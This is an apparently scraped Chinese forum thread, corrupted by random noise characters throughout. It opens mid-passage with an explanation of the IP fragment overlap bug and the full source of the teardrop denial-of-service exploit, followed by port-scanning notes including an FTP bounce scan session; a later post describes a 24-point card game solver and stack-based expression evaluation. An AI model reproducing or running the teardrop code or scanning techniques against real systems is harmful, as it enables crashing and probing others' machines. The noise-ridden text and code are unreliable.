1 x3 o; B0 X  Q  b- ^fp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:. Z& r" z7 U/ B8 k5 B
第一个碎片:mf=1 offset=0 payload=20( X7 i$ u- W1 K8 B9 ^% Q* I, ~
敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20
* {9 S; V, v& E8 doffset=0/ P! [9 @# W+ W& m% o  `
这样第二个碎片的 end=9+10=19
  f5 a6 R9 |2 Voffset=offset+(20-offset)=20
$ C: t. Y: V- ]; \fp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>$ V8 v( |% J1 J& e' @
/*8 e, B: |! e0 b4 P% C9 T2 j* `2 u
* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97- C$ p! y/ I9 e$ e8 n$ r
*; N0 e8 J: g+ E/ [* f# c7 I( ?
* Linux/NT/95 Overlap frag bug exploit4 K/ D* \# y1 O' Y4 p
*5 R8 C2 [: ?3 J( |  Z" Q1 B# g$ J6 w" p( t
* Exploits the overlapping IP fragment bug present in all Linux kernels and
5 u# R6 G$ m0 m' h* NT 4.0 / Windows 95 (others?)
0 \/ y& t- ]8 G* z+ S*
* a3 s4 w* V- Z* Based off of: flip.c by klepto% T( X& n9 D# [, E( @/ G
* Compiles on: Linux, *BSD*
8 a7 R9 X$ |9 S# `: X6 K*, S. N+ {1 G3 u9 b
* gcc -O2 teardrop.c -o teardrop. o& v3 N- s2 `% T9 W
* OR
) R5 I% }$ e, L" j) d* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING) X' R1 U! y2 ?0 @/ t- I  S- b
*/</P><P>#include <STDIO.H>
0 V& `3 ^5 p" p$ ^#include <STDLIB.H>. P- t8 t% V* m4 @. e
#include <UNISTD.H>
" w& y# S; n3 H) W3 Q# [#include <STRING.H>- R5 [) r! ^! |; ^/ z2 |) ?
#include <NETDB.H>
$ N/ O  [# g' [8 a! J+ x% A2 F#include <NETINET in.h>0 `) m; i3 m: x  ?- z
#include <NETINET udp.h>
5 D, P: C0 Q7 p5 P#include <ARPA inet.h>3 a" E$ P7 ~% G5 H0 I9 M
#include <SYS types.h>
: H6 D3 t2 k8 a" M. n6 z#include <SYS time.h>
7 d$ @% }* [0 q. m7 G0 s#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING7 _- D( i4 Z: y& Y1 {
/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */& R" ~- B) j# G% K
#define FIX(n) (n)( q/ F( ^( R( c0 h' A2 C* k/ v$ F: c, I  F
#else /* OpenBSD 2.1, all Linux */
0 m9 b. G7 W; P7 A0 M. L" _. D  @: q#define FIX(n) htons(n)
* N$ M  {4 [8 R5 d9 t' |#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */3 c3 p  Y2 ]' l# L& ?
#define IPH 0x14 /* IP header size */
# |7 t' S0 ~% A#define UDPH 0x8 /* UDP header size */
; e/ ~3 k2 Y; p  n! W#define PADDING 0x1c /* datagram frame padding for first packet */' G" B! M- ^6 L* ~" E$ t5 v
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */& m: Y% B; ]' E1 C
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
+ w, }) F/ O. q% W& D  K/ P) \* withstand maybe 5 or 10 sometimes... Experiment.
0 J' t6 I4 ]) _. {- y8 S*/</P><P>void usage(u_char *);- r4 E/ d$ G" g, C# T, ?2 K3 d/ e: M
u_long name_resolve(u_char *);/ M& N+ t. n$ `( Q" F$ B  i: A* d8 r
u_short in_cksum(u_short *, int);
* Z) W3 ~+ I* P- e0 \$ X) rvoid send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)7 G( p# h, z3 N# H- Y
{5 r  J, L6 X0 V6 T- u- h/ }" g
int one = 1,
# P, @9 i0 ?! h2 k' V( Ycount = 0, $ |+ K8 d6 b0 ^5 E8 I
i, ) z! R6 t1 [+ H$ u1 W- v
rip_sock;( z7 O& |7 N2 |. A5 j
u_long src_ip = 0, dst_ip = 0;7 k* h+ E2 Y) a6 G2 ?
u_short src_prt = 0, dst_prt = 0;* `% o6 `+ s6 S7 v- ?, e
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW
, A# K- b+ H1 K& L. vif((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)$ s4 d0 _8 Y/ A! K: j
{5 l8 g6 I" N1 M& @6 j
perror("raw socket");* S5 X/ S8 h) E* p" M; L5 I
exit(1);5 }& w2 s& ]7 Q* h4 ?
}2 t3 p6 o* s, F. i: L: c. d
//由系统处理IP校验和。
' U6 C! X" v0 _' H7 C% Iif (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
1 C1 d* m+ s9 A) s2 y: g# j; ~&lt; 0)& F& G( v2 F( g) U
{# S) ~3 J' r6 I
perror("IP_HDRINCL");
* b" }% O5 ^8 j. N% X  ]exit(1);
( o' P& T0 U: _. G- `3 s: d+ B}</P><P>if (argc &lt; 3) usage(argv[0]);
  `/ {; ~5 ~- e! qif (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
$ V5 O/ @1 C8 f{
; r# f3 M7 E" y  m. G# \) dfprintf(stderr, "What the hell kind of IP address is that?\n");
5 f4 ^# K) M7 \& E& \' Yexit(1);6 l0 H  P9 ?) E; b+ F% T
}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)9 d% D+ ?7 {+ {  D) B: U- o" X
{
8 t/ _, Y# F0 ~. D4 _+ Y: Sswitch (i)2 {' M( N/ _6 A8 ~( @2 R+ h6 T
{
: n0 C' s" E# `, G  P% ycase 's': /* source port (should be emphemeral) */
- W7 x) W( s* g8 ysrc_prt = (u_short)atoi(optarg);
; ?+ m) f0 W. h7 J2 V7 |/ tbreak;; L6 s* i9 u9 L; z  t0 |
case 't': /* dest port (DNS, anyone?) */
, R* ^/ e# x: J* c$ {& L4 i# vdst_prt = (u_short)atoi(optarg);  R& d2 D  k+ [! q* @, q
break;
- O3 W, ^+ w: ~- v! e2 o. scase 'n': /* number to send */4 |, u) s* o  _& \  H
count = atoi(optarg);/ P( ?! C, w' [8 d- W' v
break;
4 f+ W, M5 i' t# G. ?- _default :
: `) [5 a* r7 e4 h! Kusage(argv[0]);! V  D6 E. N5 K6 E2 a- X) H* z
break; /* NOTREACHED */
# _3 B( T  y4 s# s! z# C' s8 W}9 P& T; i" B4 g6 C( G6 J5 L
}</P><P>srandom((unsigned)(time((time_t)0)));
$ s, I) R( |/ \$ p5 S/ ?" Bif (!src_prt) src_prt = (random() % 0xffff);/ p9 \3 ]/ u, M( ^/ [' [2 D
if (!dst_prt) dst_prt = (random() % 0xffff);' {, j% y. Z8 p- W5 |1 O
if (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");2 A  |! G6 }1 A8 d, Y! z
addr.s_addr = src_ip;4 r. H* g# y( j
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
0 r8 o" p7 X" Z4 \6 p: oaddr.s_addr = dst_ip;
9 e5 E$ f1 |( m( K3 x: j% }% ifprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
5 O& t7 P/ D* W. N( B' f" n  Ifprintf(stderr, " Amt: %5d\n", count);
/ R3 A9 R6 D, K7 F5 v6 qfprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++): u7 B  z2 l  M' r) K* ]  Q
{; d, l3 I7 x: V6 ]! h
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
3 W# e4 b) H0 vfprintf(stderr, "b00m ");) M; X. D0 p. b' t% p
usleep(500);
( T9 v4 t- {# X, y2 ]}
3 w: F! o' U7 a) w3 e/ z1 j! ]% sfprintf(stderr, "]\n");. {# k& @$ d% k" v& v" l; X" N
return (0);
- o6 s- y# u4 F3 W/ p}</P><P>/*
0 `; ^7 K7 `0 V, }( O1 F: _) e* Send two IP fragments with pathological offsets. We use an implementation' Y* z5 ?! z( ^! ^- M. ]
* independent way of assembling network packets that does not rely on any of# G; a8 u; b- m/ N9 F9 |
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).. j  q8 f# d1 E
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,1 W5 @% ]% x: G3 C. S" O
u_short dst_prt)
0 i: Q1 m& I4 S9 a' G{
6 `" n: M7 ]' H4 Y  Tu_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
" {5 }- J& ^5 S! Fu_char byte; /* a byte */3 _5 ^/ x1 Z8 A7 O  @& O
struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;3 v1 J( U/ k: g5 b1 z
sin.sin_port = src_prt;
5 O6 k- {4 k( p/ p/ A& x, E! _sin.sin_addr.s_addr = dst_ip;</P><P>/*( ~7 s0 c: \! v$ P  m1 Y
* Grab some memory for our packet, align p_ptr to point at the beginning
: |( N+ Q- F( D* of our packet, and then fill it with zeros., c1 `* X& f3 t6 i+ M, a3 D
*/7 c* [) z- V. ]% j. P* C& R7 F
packet = (u_char *)malloc(IPH + UDPH + PADDING);
" Y+ t! [' x, _: ]7 W) Ap_ptr = packet;( G5 T/ a6 Z6 M. c# I% A  t8 V
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
% v  S, o6 i  G8 D+ Imemcpy(p_ptr, &amp;byte, sizeof(u_char));8 J. T  W! t" q6 a
p_ptr += 2; /* IP TOS (skipped) */  |6 ?& `' {" }" L# x% s* ~& }
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
  p4 @$ j1 r4 B  Z1 p% gp_ptr += 2;
( g/ B; e9 q# A! o0 G, {*((u_short *)p_ptr) = htons(242); /* IP id */
% V/ _: e2 i+ M1 n! F2 f* Fp_ptr += 2;4 Y' ^% b. J/ t) x: N
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
4 q' b' S9 o) b: up_ptr += 2;0 J9 N: o- @# q" m) {) X
*((u_short *)p_ptr) = 0x40; /* IP TTL */" S1 L0 R) x& r+ [5 v
byte = IPPROTO_UDP;
: g; c% y1 v" Q1 Dmemcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
( W- Y" ^  t# t, a9 z/ D: `p_ptr += 4; /* IP checksum filled in by kernel */
" J" X: Q  |" A- x*((u_long *)p_ptr) = src_ip; /* IP source address */
+ x; U# K- E8 }9 L& J; _' s3 w% _p_ptr += 4;8 C' N. G) S& g9 `! J
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
$ Z2 _8 i; h3 ^# [; mp_ptr += 4;* ?/ a+ S- s6 n2 V- \" z
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
- f  w+ Z6 F6 \p_ptr += 2;
  {/ |3 P3 n* f( ?*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
4 x8 `; J* ~; u9 R" h& S2 ~. H7 r1 ^# ]p_ptr += 2;
( I8 L. ?0 h9 Q; F6 ]1 Q! y7 Z- r*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
1 k4 Z4 S# u8 q  T$ bsizeof(struct sockaddr)) == -1)$ w8 }3 d0 C* F
{: [: _- A- n4 K% a4 P. f
perror("\nsendto");
# l$ U2 B# q2 n: O" d, Efree(packet);3 d7 }3 D0 v6 p) g1 s0 y# |- F6 c
exit(1);( D5 i1 k7 I* o+ v* S3 ?" \
}</P><P>/* We set the fragment offset to be inside of the previous packet's0 R6 ~: g$ u  s2 y, z
* payload (it overlaps inside the previous packet) but do not include
  h+ ^. @" q& j! ~* enough payload to cover complete the datagram. Just the header will
1 a6 f2 Y0 P" S2 ?, g. |* do, but to crash NT/95 machines, a bit larger of packet seems to work# J# t  M% [' i9 k
* better.2 T& f8 D: }  I7 }6 i+ Y
*/& I5 E# w7 F% q) M! Z. v
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */) F1 K( ?* C8 t* d
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);5 c7 y& o# Y# W, J" B
p_ptr += 4; /* IP offset is 6 bytes into the header */
9 E% r; Q! t% @4 ]6 Q* z*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,7 u5 N3 [% P0 D$ U* J
sizeof(struct sockaddr)) == -1)
* E+ e4 w, ^1 ]* \{5 E& N  M8 P4 `  l7 Q. T
perror("\nsendto");" X1 T' y! P3 A. d) q
free(packet);
. w* ^' p0 @4 C, V" |4 R3 P$ mexit(1);$ |" j/ k* b( K1 V
}
7 k: n2 D/ D, l: R2 N7 ~6 M# g* afree(packet);
6 w' e+ A: _7 g7 M. i}</P><P>u_long name_resolve(u_char *host_name)1 b3 i: I. d* r4 U* W. V$ K
{7 h. b! v! o$ N$ e% v5 q
struct in_addr addr;# G" H3 M' y4 \2 k  K. u
struct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
, V$ Y+ j7 a9 R! f{
& B( |% ~% w  Y/ S4 zif (!(host_ent = gethostbyname(host_name))) return (0);
- r# y/ A/ q) x5 |3 ubcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
3 G$ f: F/ y% {7 |8 b8 x}
" }# s2 z! X" `% \# C$ L9 I, oreturn (addr.s_addr);
$ H0 |- i3 g) l}</P><P>void usage(u_char *name)
0 C* r# Q  C4 e7 K* H{3 i2 k$ U5 g" I- ~- D& u8 w
fprintf(stderr,5 l. P4 p9 l& s+ T
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
( S/ l) E3 X7 w7 Q% ename);
0 F8 m: B* U$ _, t& A2 z5 i+ Y7 {exit(0);2 s* S% p) _- [: F/ x' ]% P0 n, ^
}</P><P># r% V7 O9 A  y' _% S2 j* e
4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法:
0 y) X8 Z- y, F8 o+ w(1) Half-open(半打开)
8 D; k, h5 }) k" ]: s# ^6 ?利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),( }8 w- B$ o. O+ u) x4 p9 ~
如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner! n  h3 L* q8 V1 n4 g) _
利用了FTP的port命令,例如可以这样作:1 n# y  X% d# E4 s4 w( s
选择一个FTP服务器,连上后令port命令指向目标机,如果返回4 [1 e* I& J- S6 u6 O5 Q2 V0 ]
值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则
* q8 ^6 u/ e; }2 V该端口无服务。
% T' D" l  G. n/ T- F% i; r6 ^& {telnet 192.168.1.13 21
( @4 y5 j+ ~7 q7 A% tTrying 192.168.1.13...4 K" _- R2 W1 G% R
Connected to pp.bricks.org.
& E: D: ?& z6 P6 F& O7 @# u8 Q( IEscape character is '^]'.+ d* L# k, T5 x, h) l9 |
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
& ?+ [5 u2 R3 j: K8 l- n- h) J! jThu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
: I) g, B: X+ o331 Guest login ok, send your complete e-mail address as password.1 w+ b8 \9 _& T* l
pass aa@aa.aa+ u1 Y  |1 u4 U7 F/ {# u
230 Guest login ok, access restrictions apply.# p6 w7 I/ E! N8 s
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
0 m+ z4 g2 t) R! ]3 e# o425 Can't build data connection: Connection refused.( v/ M) q2 G5 o, T6 F
//该端口未活动 0 D( _  b9 W1 [+ F3 p
150 Opening ASCII mode data connection for file list.+ [, s& O. U$ y' o' N
226 Transfer complete.. V8 G8 {  q4 I* ]
//该端口活动中
; {% T, |% V9 J0 d" Q0 y7 y但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
- k& _3 Q6 t* }, ~SYN|FIN ACK or SYN|ACK* RST
( T; ^/ T- f4 H: f7 _1 eACK Nothing RST
+ g7 _' a  f+ e# G0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport( t( b, X$ r7 ^
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,
& _) l: W' ]# R0 T( h, {/ B+ A) j若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认. i+ r8 j' c2 D/ O! l9 D' d- M
定它在向你做portscan。</P><P>notes:
/ y* |2 U! P9 [; f早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),2 r" S: a- |7 u# G
而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的
$ S" h1 g, L7 a9 D都是向它scan。</P>
作者: 韩冰    时间: 2004-10-4 02:40
< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left># Z( Z5 s6 H! O/ u5 O2 v
  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。# @3 Y  e0 ~9 d7 [
( G+ P) H3 B4 }0 e! c
  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。 " A0 G6 N' e1 P7 S" o1 a7 [
首先穷举的可行性问题。我把表达式如下分成三类——8 B& R9 g) l2 ?
<FONT color=#ff0000>1、 无括号的简单表达式。
" e1 E$ z8 z4 d& _5 R  g7 z2、 有一个括号的简单表达式。1 ~! p0 h& E) S- y$ T' e
3、 有两个括号的较复4、 杂表达式。( U( m, m$ L- n3 g: q
</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:
7 ]2 g% X3 @0 I! Z8 b% p<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
: Z' {5 s2 H, g, R6 S/* c[] 存放四张牌的数组 */
9 r5 c% h# Y" p7 W; P, D/* k[] c[]种四张牌的代号,其中k[I]=I+1。; G0 Z1 w5 k- Q3 T
用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */" m( j2 ^9 u$ ~9 `
/* kans[] 暂存生成的排列组合 */+ y( {; ^- b/ [* D' e5 ]0 R: g1 K$ s
/* j 嵌套循环的次数 */8 D6 q: E8 h8 Q0 ^1 [
int fans(c,k,ans,kans,j), a  O+ i$ X+ m0 U4 f9 E8 t7 m
int j,k[],c[];char ans[],kans[];4 s) b2 ^" ]9 Q/ N' q8 b$ r
{ int i,p,q,r,h,flag,s[4],t[4][4];" F8 ~- y! m1 I6 e: y7 a5 g6 h
for(p=0,q=0;p&lt;4;p++): x. F+ ~  Z$ L% s8 F# R0 l
{ for(r=0,flag=0;r<J;R++)  L+ P) s0 m6 I& [
if(k[p]!=kans[r]) flag++;' N6 p5 @  |" K0 d" |  S
if(flag==j) t[j][q++]=k[p];
; m. k2 R! S: n# i' h) l}- {; D3 {" c5 b+ R. _* G
for(s[j]=0;s[j]&lt;4-j;s[j]++)
' x& ~6 Q: K5 y; [{ kans[j]=t[j][s[j]];( K, g. R8 C2 @, i6 ]8 n7 A6 {
if(j==3) { for(h=0;h&lt;4;h++)
0 e, U2 [: |- J' T0 t7 fans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表5 X( s$ D# \: E
达式中的位置 */
# v$ I# z2 ~9 T. F& Mfor(h=0;h&lt;3;h++)2 h' M* _* R( z0 w8 r3 F' I/ m& y- Z/ O
symbol(ans,h); /* 在表达式中添加运算符号 */8 q( D. b- A) t+ k5 X
}2 ~8 _" f' C- o, P  _. y  C; _# d
else { j++;
3 I3 M7 r" ^# N; X/ ^8 nfans(c,k,ans,kans,j);
. r& i8 A: j8 a  I& G9 Yj--;0 a- w3 V6 R( w- \' h4 F
}
  z' p4 E7 I  I2 Q}1 d1 e$ ?) f+ X) o
}</FONT>2 o& ?6 E( _0 C& P

9 F( i' x* x0 G7 P' x  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:6 M9 D' \4 G2 M- C! [
* N+ i( v0 Z8 [" F& _8 s( @4 [/ E
<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/3 N, ~  B1 @; P! |  _
int sans(ans,sy,j,h)
$ U, a1 R/ k. X' [; B; L5 p" Bchar ans[],sy[];int j,h;
0 D, X7 i! W8 x' x6 e! m) m{ int i,p,k[3],m,n; char ktans[20];# N! x' y. C; z" z( H7 A/ F  e' ?
for(k[j]=0;k[j]&lt;4;k[j]++)
$ e$ x4 o% h/ t9 n{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位2 {/ \, e: q/ ]* A% m6 x" P* F. A- @
这里的三个运算符号分别存放在1、3、5位*/
8 l: V, X  M- s1 k2 M( G: bif(j==2)+ m# Q9 _% T# g, s' m
{ ans[5]=sy[k[j]];
3 O6 y, N: g  ?. x/* 此处根据不同的表达式形式再进行相应的处理 */
1 ^4 R2 f5 \$ @+ ^( ?( F0 n}
1 ?( M+ g- `4 b/ v( [+ z' aelse { j++; sans(ans,sy,j--,h); }, q; ~% A( @' H! N
}0 U. f9 g: D- P  b' I2 W
}
! e+ Y$ \' n7 ?' k3 q
/ z9 C0 }9 ~& T$ ^7 [( p" }/ Y</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。
) T; i9 @" D+ D% Wfor(m=0;m&lt;=4;m+=2)0 e6 j2 f% v1 b3 q9 O
for(n=m+4;n&lt;=8;n+=2)& C  l- R* r0 g8 b; C4 w
  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。
% t! P1 o- C1 {( ^
/ E: J' E, M) O/ G" @  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。
& N2 X* o" K( e2 d* i3 Y3 j</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。8 ]' J8 F: Y0 j6 U' I' L
在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。/ `; U9 J+ t& [4 k2 r$ O

8 T& d+ W  H6 D. {; r  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。. U# X% o& f* e+ `$ \

7 M: ]6 s7 D1 f! w  b% c  那么作为栈的著名应用,表达式的计算可以有两种方法。# s' K" o9 Y% B3 ^. R. a

" w) P+ n5 C8 Y0 ]1 P& g  <FONT color=#ff0000>第一种方法——</FONT>2 _2 |# l, x1 ]$ x+ b( l2 o
  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。- C; e5 L) I  z9 k
  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:$ d: Y. k" l' X
1、 若W为操作数
8 `2 C( S4 V0 G% `) X( J2、 则将W压入操作数栈OVS
2 Q% O$ E$ @5 U6 [! G% p4 G3、 且继续扫描下一个字符! n& \# R/ _" J( x" S- h6 q9 B
4、 若W为运算符
& k" q, s; d/ N! z  L+ V/ U/ h5、 则根据运算符的性质做相应的处理:
' u' @: E/ x5 f2 U: G(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。
6 A1 o8 H# G& p5 p- \7 R' U7 c(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。
& m4 B1 @9 t* N# ^- h, v* g(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。/ B( B2 g" d2 W* z# O2 o% L7 v1 [
(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。
9 c. |+ V9 T7 a3 W5 x8 F: |: ^. [
<FONT color=#ff0000>  第二种方法——</FONT>
# a9 c/ }4 _$ B' \  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。
7 d/ O8 G# F+ T/ i/ ?% L" _
' O2 E2 ~! L0 H; ^+ z/ E. h9 q9 c  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。% ?5 l8 }9 K5 P$ u& P3 h, y
  |5 u5 K0 U7 w2 m  p1 b# j" p
   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
- A0 |7 M- J5 k! r7 L! G4 [9 G! W( A  J& C表达式 波兰表达式
* y  ?& O& L* n4 Y; G; OA-B AB-6 m  E/ M* W+ N
(A-B)*C+D AB-C*D+  V' @1 S$ ]8 ^5 r; y0 m
A*(B+C/D)-E*F ABCD/+*EF*-0 V& I1 g: _: Z: `, R
(B+C)/(A-D) BC+AD-/
1 m2 j5 i7 n. ^( u" h2 F+ m. T9 Q- F9 i! p- {  [2 T) ^
  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。
5 I& |4 r* o: u; E& t+ ~: u7 o
; J1 R. r( b) k  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。
" N( I- d/ B8 S+ L, e+ v) }1 ?, F$ x3 M5 R" X' r2 B* d) o
  下面给出转换和计算的具体实现程序——' ~  ~. \8 O8 R# @! C! W- Y1 l
& I+ ^3 `5 e0 [% R
<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */4 Z  W0 l3 P' I: K$ T& J1 h3 K% F
int first(char c)
! r3 m- M$ w1 p3 h; r' ~{ int p;
2 L: g) c8 G' q0 j6 aswitch(c)
7 M/ w  y9 M/ }: f( ?+ R{ case '*': p=2; break;5 \, s. Y0 g+ Y9 y' P( {( D$ |$ K
case '/': p=2; break;
# C8 q1 C! X5 P( |& g5 _4 H; T4 H: X7 |case '+': p=1; break;& T, X4 L7 B% U" F) s
case '-': p=1; break;6 I" j( e* B0 t+ Q
case '(': p=0; break;3 ]$ o7 H, p3 ~3 R3 Y' @
case '=': p=-1; break;
3 l: b1 N  Z8 p9 Z4 Z}, }3 F; n, R- D  ~: }/ Q7 s
return(p);
; _! G1 Z4 z' x! R0 ?' }! ]}8 q# w) f7 s6 `" I8 q
